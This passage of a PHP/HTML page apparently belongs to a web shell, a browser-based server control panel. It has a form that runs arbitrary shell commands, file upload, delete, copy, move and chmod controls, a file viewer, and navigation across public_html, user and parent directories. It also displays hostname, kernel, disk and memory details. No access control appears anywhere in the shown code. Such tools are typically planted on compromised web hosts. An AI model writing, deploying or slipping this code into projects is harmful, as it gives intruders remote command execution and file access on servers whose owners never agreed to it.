--> <form method="post" class="operation-form"> <input type="hidden" name="action" value="delete"> <input type="text" name="item" placeholder="File/directory to delete" class="operation-input" required> <button type="submit" class="operation-btn danger" onclick="return confirm('Are you sure you want to delete this item?')"> <i class="fas fa-trash"></i> DELETE </button> </form> <!-- Copy File/Directory --> <form method="post" class="operation-form"> <input type="hidden" name="action" value="copy"> <input type="text" name="source" placeholder="Source file/directory" class="operation-input" required> <input type="text" name="destination" placeholder="Destination name" class="operation-input" required> <button type="submit" class="operation-btn"> <i class="fas fa-copy"></i> COPY </button> </form> <!-- Move File/Directory --> <form method="post" class="operation-form"> <input type="hidden" name="action" value="move"> <input type="text" name="source" placeholder="Source file/directory" class="operation-input" required> <input type="text" name="destination" placeholder="Destination name" class="operation-input" required> <button type="submit" class="operation-btn warning"> <i class="fas fa-cut"></i> MOVE </button> </form> <!-- Change Permissions --> <form method="post" class="operation-form"> <input type="hidden" name="action" value="chmod"> <input type="text" name="item" placeholder="File/directory" class="operation-input" required> <input type="text" name="permissions" placeholder="Permissions (e.g., 755)" class="operation-input" required> <button type="submit" class="operation-btn"> <i class="fas fa-shield-alt"></i> CHMOD </button> </form> <!-- Execute Command --> <form method="post" class="operation-form"> <input type="hidden" name="action" value="execute"> <input type="text" name="command" placeholder="Shell command" class="operation-input" required> <button type="submit" class="operation-btn warning"> <i class="fas fa-terminal"></i> EXECUTE </button> </form> </div> </div> <!-- System Status --> <div class="card"> <h3><i class="fas fa-cogs"></i> SYSTEM STATUS</h3> <?php $requirements = checkSystemRequirements(); $system_info = getSystemInfo(); ?> <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; margin-top: 15px;"> <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;"> <strong>ZipArchive:</strong> <span style="color: <?php echo $requirements['ziparchive'] ? '#00ff00' : '#ff0000'; ?>"> <?php echo $requirements['ziparchive'] ? 'Available' : 'Not Available'; ?> </span> </div> <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;"> <strong>Exec Function:</strong> <span style="color: <?php echo $requirements['exec'] ? '#00ff00' : '#ff0000'; ?>"> <?php echo $requirements['exec'] ? 'Available' : 'Not Available'; ?> </span> </div> <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;"> <strong>Zip Command:</strong> <span style="color: <?php echo $requirements['zip_command'] ? '#00ff00' : '#ff0000'; ?>"> <?php echo $requirements['zip_command'] ? 'Available' : 'Not Available'; ?> </span> </div> <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;"> <strong>Tar Command:</strong> <span style="color: <?php echo $requirements['tar_command'] ? '#00ff00' : '#ff0000'; ?>"> <?php echo $requirements['tar_command'] ? 'Available' : 'Not Available'; ?> </span> </div> <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;"> <strong>Temp Directory:</strong> <span style="color: <?php echo $requirements['temp_writable'] ? '#00ff00' : '#ff0000'; ?>"> <?php echo $requirements['temp_writable'] ? 'Writable' : 'Not Writable'; ?> </span> </div> </div> <!-- System Information --> <div class="system-info"> <div class="info-card"> <h4>PHP Information</h4> <pre>Version: <?php echo $system_info['php_version']; ?> OS: <?php echo $system_info['php_os']; ?> Server: <?php echo $system_info['server_software']; ?></pre> </div> <?php if (isset($system_info['hostname'])): ?> <div class="info-card"> <h4>System Information</h4> <pre>Hostname: <?php echo $system_info['hostname']; ?> Kernel: <?php echo $system_info['kernel']; ?> Uptime: <?php echo $system_info['uptime']; ?></pre> </div> <div class="info-card"> <h4>Disk Usage</h4> <pre><?php echo $system_info['disk_usage']; ?></pre> </div> <div class="info-card"> <h4>Memory Info</h4> <pre><?php echo $system_info['memory_info']; ?></pre> </div> <?php endif; ?> </div> </div> <!-- Path Navigator --> <div class="card"> <h3><i class="fas fa-folder-open"></i> PATH NAVIGATOR</h3> <?php $current_dir = getCurrentPath(); $base_dir = dirname(__DIR__); $relative_path = str_replace($base_dir, '', $current_dir); ?> <div class="path-navigator"> <div class="breadcrumb"> <?php echo getBreadcrumb($current_dir); ?> </div> <form method="get" style="margin-bottom: 15px;"> <input type="text" name="path" value="<?php echo htmlspecialchars($relative_path); ?>" class="path-input" placeholder="Enter path (e.g., user, public_html, etc.)"> <div class="path-actions"> <button type="submit" class="path-btn"> <i class="fas fa-search"></i> GO TO PATH </button> <a href="<?php echo getParentDirectory($current_dir); ?>" class="path-btn"> <i class="fas fa-level-up-alt"></i> PARENT DIR </a> <a href="?path=" class="path-btn"> <i class="fas fa-home"></i> HOME </a> <a href="?path=public_html" class="path-btn"> <i class="fas fa-globe"></i> PUBLIC_HTML </a> <a href="?path=user" class="path-btn"> <i class="fas fa-user"></i> USER </a> <a href="?path=public_html" class="path-btn"> <i class="fas fa-globe"></i> PUBLIC_HTML </a> <a href="?path=.." class="path-btn"> <i class="fas fa-level-up-alt"></i> UP ONE LEVEL </a> <a href="?path=../.." class="path-btn"> <i class="fas fa-level-up-alt"></i> UP TWO LEVELS </a> <a href="?debug_path=1" class="path-btn"> <i class="fas fa-bug"></i> DEBUG PATHS </a> </div> </form> <div style="font-size: 11px; color: #888;"> <strong>Current Path:</strong> <?php echo htmlspecialchars($current_dir); ?><br> <strong>Base Directory:</strong> <?php echo htmlspecialchars($base_dir); ?><br> <strong>Available Directories:</strong> <?php $common_dirs = getCommonDirectories(); $available_dirs = array(); foreach ($common_dirs as $name => $path) { $available_dirs[] = $name . ' (' . $path . ')'; } echo implode(', ', $available_dirs); ?> </div> </div> </div> <!-- File List --> <div class="card"> <div class="file-header"> <div class="header-left"> <i class="fas fa-list"></i> FILE SYSTEM BROWSER </div> <div class="header-right"> <span>PATH: <?php echo htmlspecialchars($relative_path ?: basename(__DIR__)); ?></span> </div> </div> <div class="file-grid"> <?php // $current_dir sudah didefinisikan di atas $files = @scandir($current_dir); if ($files === false) { echo '<div class="message error">Cannot read directory</div>'; } else { foreach ($files as $file) { if ($file === '.' || $file === '..') continue; $file_path = $current_dir . '/' . $file; $is_dir = @is_dir($file_path); // Calculate size for directories and files if ($is_dir) { $folder_size = getFolderSize($file_path); $size = formatFileSize($folder_size); // Count files and subdirectories $file_count = 0; $dir_count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if ($item->isDir()) { $dir_count++; } else { $file_count++; } } $size .= " ($file_count files, $dir_count dirs)"; } else { $file_size = @filesize($file_path); $size = $file_size ? formatFileSize($file_size) : '0 bytes'; } $icon = $is_dir ? 'fas fa-folder' : 'fas fa-file'; $icon_class = $is_dir ? 'folder' : 'file'; // Get additional file information $mod_time = @filemtime($file_path); $mod_date = $mod_time ? date('Y-m-d H:i:s', $mod_time) : 'Unknown'; $perms = @fileperms($file_path); $perms_str = $perms !== false ? substr(sprintf('%o', $perms), -4) : '????'; $file_ext = $is_dir ? '' : pathinfo($file, PATHINFO_EXTENSION); $file_type = $is_dir ? 'Directory' : ($file_ext ? strtoupper($file_ext) . ' File' : 'File'); echo '<div class="file-item">'; echo '<div class="file-info-left">'; echo '<div class="file-icon ' . $icon_class . '"><i class="' . $icon . '"></i></div>'; echo '<div class="file-details">'; echo '<div class="file-name">' . htmlspecialchars($file) . '</div>'; echo '<div class="file-info">'; echo '<span><i class="fas fa-file"></i> ' . $file_type . '</span>'; echo '<span><i class="fas fa-weight-hanging"></i> ' . $size . '</span>'; echo '<span><i class="fas fa-calendar"></i> ' . $mod_date . '</span>'; echo '<span><i class="fas fa-shield-alt"></i> ' . $perms_str . '</span>'; echo '</div>'; echo '</div>'; echo '</div>'; echo '<div class="file-actions">'; if ($is_dir) { // Add navigation button for directories $new_path = $relative_path . '/' . $file; echo '<a href="?path=' . urlencode($new_path) . '" class="btn btn-success" title="Enter Directory"><i class="fas fa-sign-in-alt"></i></a>'; echo '<a href="?download_folder=' . urlencode($file) . '" class="btn btn-folder" title="Download Folder as ZIP"><i class="fas fa-download"></i> ZIP</a>'; echo '<a href="?download_folder=' . urlencode($file) . '&debug=1" class="btn btn-danger" title="Debug Download"><i class="fas fa-bug"></i></a>'; } else { echo '<a href="?download=' . urlencode($file) . '" class="btn btn-primary" title="Download"><i class="fas fa-download"></i></a>'; } echo '<a href="?view=' . urlencode($file) . '" class="btn btn-success" title="View"><i class="fas fa-eye"></i></a>'; // Add quick action buttons echo '<button onclick="quickDelete(\'' . htmlspecialchars($file) . '\')" class="btn btn-danger" title="Delete"><i class="fas fa-trash"></i></button>'; echo '<button onclick="quickCopy(\'' . htmlspecialchars($file) . '\')" class="btn btn-primary" title="Copy"><i class="fas fa-copy"></i></button>'; echo '<button onclick="quickChmod(\'' . htmlspecialchars($file) . '\')" class="btn btn-warning" title="Change Permissions"><i class="fas fa-shield-alt"></i></button>'; echo '</div>'; echo '</div>'; } } ?> </div> </div> </div> <?php // Display messages if (isset($_GET['msg'])) { $msg = $_GET['msg']; $message = ''; $type = 'success'; switch ($msg) { case 'dir_created': $message = 'Directory created successfully!'; break; case 'item_deleted': $message = 'Item deleted successfully!'; break; case 'item_copied': $message = 'Item copied successfully!'; break; case 'item_moved': $message = 'Item moved successfully!'; break; case 'permissions_changed': $message = 'Permissions changed successfully!'; break; } if ($message) { echo '<div class="container"><div class="message ' . $type . '">' . $message . '</div></div>'; } } if (isset($_GET['error'])) { $error = $_GET['error']; $message = ''; switch ($error) { case 'dir_create_failed': $message = 'Failed to create directory!'; break; case 'delete_failed': $message = 'Failed to delete item!'; break; case 'copy_failed': $message = 'Failed to copy item!'; break; case 'move_failed': $message = 'Failed to move item!'; break; case 'chmod_failed': $message = 'Failed to change permissions!'; break; case 'invalid_dir_name': $message = 'Invalid directory name!'; break; case 'invalid_path': $message = 'Invalid path!'; break; case 'invalid_permissions': $message = 'Invalid permissions format!'; break; } if ($message) { echo '<div class="container"><div class="message error">' . $message . '</div></div>'; } } // Display command result if (isset($_GET['show_result']) && isset($_SESSION['command_result'])) { $result = $_SESSION['command_result']; echo '<div class="container"><div class="card">'; echo '<h3>Command Execution Result</h3>'; echo '<div class="terminal-window">'; echo '<strong>Command:</strong> ' . htmlspecialchars($result['command'] ?? 'Unknown') . "\n\n"; echo '<strong>Success:</strong> ' . ($result['success'] ? 'Yes' : 'No') . "\n"; echo '<strong>Return Code:</strong> ' . $result['return_code'] . "\n\n"; echo '<strong>Output:</strong>\n'; echo htmlspecialchars($result['output']); echo '</div></div></div>'; unset($_SESSION['command_result']); } // Handle file upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) { $upload_file = $_FILES['upload_file']; if ($upload_file['error'] === UPLOAD_ERR_OK) { $current_dir = getCurrentPath(); $dest = $current_dir . '/' . basename($upload_file['name']); if (@move_uploaded_file($upload_file['tmp_name'], $dest)) { echo '<div class="container"><div class="message success">File uploaded successfully!</div></div>'; } else { echo '<div class="container"><div class="message error">Upload failed!</div></div>'; } } else { echo '<div class="container"><div class="message error">Upload error: ' . $upload_file['error'] . '</div></div>'; } } // Handle debug information if (isset($_GET['debug']) && isset($_GET['download_folder'])) { $current_dir = getCurrentPath(); $folder = $_GET['download_folder']; $folder_path = $current_dir . '/' . $folder; echo '<div class="container"><div class="card">'; echo '<h3>Debug Information</h3>'; echo '<div class="terminal-output">'; echo 'Folder Path: ' . $folder_path . "\n"; echo 'Folder Exists: ' . (is_dir($folder_path) ? 'Yes' : 'No') . "\n"; echo 'Folder Readable: ' . (is_readable($folder_path) ? 'Yes' : 'No') . "\n"; echo 'Temp Directory: ' . sys_get_temp_dir() . "\n"; echo 'Temp Writable: ' . (is_writable(sys_get_temp_dir()) ? 'Yes' : 'No') . "\n"; echo 'ZipArchive Available: ' . (class_exists('ZipArchive') ? 'Yes' : 'No') . "\n"; echo 'Exec Available: ' . (function_exists('exec') ? 'Yes' : 'No') . "\n"; // Test system commands if (function_exists('exec')) { echo "\n=== System Commands Test ===\n"; exec('which zip', $zip_output, $zip_return); echo 'Zip Command: ' . ($zip_return === 0 ? 'Available' : 'Not Available') . "\n"; exec('which tar', $tar_output, $tar_return); echo 'Tar Command: ' . ($tar_return === 0 ? 'Available' : 'Not Available') . "\n"; // Test creating a small zip $test_zip = sys_get_temp_dir() . '/test_' . time() . '.zip'; exec("echo 'test' > " . sys_get_temp_dir() . "/test.txt && zip $test_zip " . sys_get_temp_dir() . "/test.txt", $test_output, $test_return); echo 'Zip Test: ' . ($test_return === 0 ? 'Success' : 'Failed') . "\n"; // Cleanup test files @unlink(sys_get_temp_dir() . '/test.txt'); @unlink($test_zip); } echo '</div></div>'; } // Handle path debug information if (isset($_GET['debug_path'])) { $path_info = debugPathInfo(); echo '<div class="container"><div class="card">'; echo '<h3>Path Debug Information</h3>'; echo '<div class="terminal-output">'; echo "=== Current Path Information ===\n"; echo 'Current Directory: ' . $path_info['current_dir'] . "\n"; echo 'Base Directory: ' . $path_info['base_dir'] . "\n"; echo 'Document Root: ' . $path_info['document_root'] . "\n"; echo 'Script Directory: ' . $path_info['script_dir'] . "\n"; echo "\n=== Common Directories ===\n"; foreach ($path_info['common_dirs'] as $name => $path) { echo "$name: $path (" . (is_dir($path) ? "EXISTS" : "NOT FOUND") . ")\n"; } echo "\n=== Directory Permissions ===\n"; $dirs_to_check = array( 'Current Dir' => $path_info['current_dir'], 'Base Dir' => $path_info['base_dir'], 'Document Root' => $path_info['document_root'], 'Script Dir' => $path_info['script_dir'] ); foreach ($dirs_to_check as $name => $path) { echo "$name:\n"; echo " - Exists: " . (is_dir($path) ? "Yes" : "No") . "\n"; echo " - Readable: " . (is_readable($path) ? "Yes" : "No") . "\n"; echo " - Writable: " . (is_writable($path) ? "Yes" : "No") . "\n"; } echo '</div></div>'; } // Handle file view if (isset($_GET['view'])) { $current_dir = getCurrentPath(); $file = $_GET['view']; $file_path = $current_dir . '/' . $file; if (@file_exists($file_path) && @is_file($file_path)) { $content = @file_get_contents($file_path); if ($content !== false) { echo '<div class="container"><div class="card">'; echo '<h3>Viewing: ' . htmlspecialchars($file) . '</h3>'; echo '<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">'; echo htmlspecialchars($content); echo '</pre></div></div>'; } } } ?> <script> // Show selected files document.getElementById('uploadInput').addEventListener('change', function() { const files = this.files; if (files.length > 0) { const label = document.querySelector('.upload-label'); label.textContent = files.length + ' file(s) selected'; } }); // Quick action functions function quickDelete(filename) { if (confirm('Are you sure you want to delete "' + filename + '"?')) { const form = document.createElement('form'); form.method = 'POST'; form.innerHTML = ` <input type="hidden" name="action" value="delete"> <input type="hidden" name="item" value="${filename}"> `; document.body.appendChild(form); form.submit(); } } function quickCopy(filename) { const newName = prompt('Enter new name for copy:', filename + '_copy'); if (newName && newName.trim()) { const form = document.createElement('form'); form.method = 'POST'; form.innerHTML = ` <input type="hidden" name="action" value="copy"> <input type="hidden" name="source" value="${filename}"> <input type="hidden" name="destination" value="${newName.trim()}"> `; document.body.appendChild(form); form.submit(); } } function quickChmod(filename) { const permissions = prompt('Enter permissions (e.g., 755, 644):', '755'); if (permissions && /^[0-7]{3,4}$/.test(permissions)) { const form = document.createElement('form'); form.method = 'POST'; form.innerHTML = ` <input type="hidden" name="action" value="chmod"> <input type="hidden" name="item" value="${filename}"> <input type="hidden" name="permissions" value="${permissions}"> `; document.body.appendChild(form); form.submit(); } else if (permissions) { alert('Invalid permissions format! Use numbers like 755, 644, etc.'); } } // Auto-refresh system info every 30 seconds setInterval(function() { // You can add auto-refresh functionality here }, 30000); </script> </body> </html>